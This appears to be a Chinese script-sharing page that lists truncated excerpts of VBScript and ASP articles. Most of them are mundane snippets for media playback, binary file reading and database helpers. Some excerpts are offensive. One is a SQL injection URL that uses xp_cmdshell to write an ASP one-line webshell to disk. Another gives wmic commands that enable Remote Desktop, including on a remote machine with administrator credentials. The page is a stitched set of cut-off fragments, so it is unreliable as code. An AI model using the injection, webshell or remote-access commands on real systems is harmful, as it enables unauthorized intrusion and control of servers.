vbs输入助手执行会调用好多乱的进程
On Error Resume Next Set Arg=Wscript.arguments If Arg.count=0 then Wscript.quit '------------------- 'Enjoy it 'Code By NetPatch '-------------------
On Error Resume Next Set Arg=Wscript.arguments If Arg.count=0 then Wscript.quit '------------------- 'Enjoy it 'Code By NetPatch '-------------------
微软有篇文章:http://support.microsoft.com/kb/193998/zh-cn,用doc读取和显示二进制数据,《怎样读取二进制文件》,没测试,懒得编译dllasp程序:控件代码:第一步:在VB中创建一个ActiveXDLLProject第二步:把工程名改为MyObject第三
Option Explicit Dim WshShell, Pro Set WshShell = WScript.CreateObject("WScript.Shell") Pro = "D:\Program Files\千千静听\TTPlayer.exe D:\千千静听\默认.ttpl" WshS
作者:lcx 来源:vbs小铺 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"l
代码一:'******************************************************************************************* 'Version:3.1 '调整错误处理方法,错误信息输出到LogFile文件,可以查看扫描失败原因 '如
Tr4c3:为了方便在dos下使用,我把inputbox改成了args。 实现代码如下:'Program By xiaolu'name:file2vbs.vbsOn error resume nextSet Args = Wscript.ArgumentsIf Args.length<>
1、 用^转义字符来写ASP(一句话木马)文件的方法:http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^execute request^("l"^)^ >c:\mu.asp';--echo
使用方法'use:cscript this.vbs > dic.txt 把下面的代码保存为this.vbs 实现代码如下:a=Array(1,2,3,4,"a")Function js1(n)for i=1 to nf=f&"f"&i&"&"s=s&"F
实现代码如下:' ******************************************** ' 以下为数据库相关函数 ' ******************************************** ' ==================================
sub SaveConfig()dim fso,hfset fso=Server.CreateObject("Scripting.FileSystemObject")set hf=fso.CreateTextFile(Server.mappath("../inc/config.asp"),true)